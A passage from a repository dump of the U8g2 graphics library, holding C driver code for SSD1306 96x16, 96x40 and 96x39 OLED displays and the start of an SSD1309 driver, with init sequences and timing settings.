      /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x16_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x16_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x16_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_96x16_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x16_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_er_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_96x16_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, \t/* OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 2,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 32,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 16\n};\n\n/* East Rising 0.69\" OLED */\nuint8_t u8x8_d_ssd1306_96x16_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x16_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_er_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_96x16_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_96x40.c",
    "content": "/*\n\n  u8x8_d_ssd1306_96x40.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  takeover from 96x16 OLED\n  \n  21 Sep 2022: Also added the 96x39 variant here....\n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_ssd1306_96x40_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x40_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x40_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x40_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_96x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x40_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_er_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===============================================*/\n\n/* https://github.com/olikraus/u8g2/issues/1812 */\nstatic const uint8_t u8x8_d_ssd1306_96x40_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x027),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset  */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED  0x14*/\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x002),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */\n  U8X8_CA(0x081, 0x0af),\t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1),\t\t/* [2] pre-charge period 0x0f1 */\n  U8X8_CA(0x0db, 0x020),\t\t/* vcomh deselect level */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_96x40_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, \t/* OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 5,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 32,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 40\n};\n\nuint8_t u8x8_d_ssd1306_96x40(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x40_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_init_seq);    \n      return 1;\n    }\n    return u8x8_d_ssd1306_96x40_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*===============================================*/\n\n/* 96x39 OLED */\n/* https://github.com/olikraus/u8g2/issues/1959 */\nstatic const uint8_t u8x8_d_ssd1306_96x39_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x027),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0),\t\t        /* display offset, issue 1959 */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED  0x14*/\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1, 0.66 OLED  */\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse, 0.66 OLED  */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x010),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), issue 1959: 0x010 */\n  U8X8_CA(0x081, 0x0af),\t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1),\t\t/* [2] pre-charge period 0x0f1 */\n  U8X8_CA(0x0db, 0x020),\t\t/* vcomh deselect level */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x39_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_C(0x07f),\t\t                /* set display start line to -1 (not exactly sure why...) */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_96x39_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_ssd1306_96x39_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, \t/* OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 5,\n  /* default_x_offset = */ 32,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 39\n};\n\nuint8_t u8x8_d_ssd1306_96x39(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x39_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_init_seq);    \n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n    {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n    }\n    return u8x8_d_ssd1306_96x40_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*===============================================*/\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1309.c",
    "content": "/*\n\n  u8x8_d_ssd1309.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ssd1309_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1309_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1309_128x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1309_128x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic uint8_t u8x8_d_ssd1309_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)   );\n\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1309 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=================================================*/\n/* offset 2 version */\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1309_128x64_noname2_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 2,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_ssd1309_128x64_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x0a0),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_C(0x040),\t\t        \t/* set display start line to 0 */\n  U8X8_CA(0x020, 0x002),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x06f), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0d3), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x020), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n  \n  //U8X8_C(0x0af),\t\t                /* display on */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1309_128x64_noname2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( 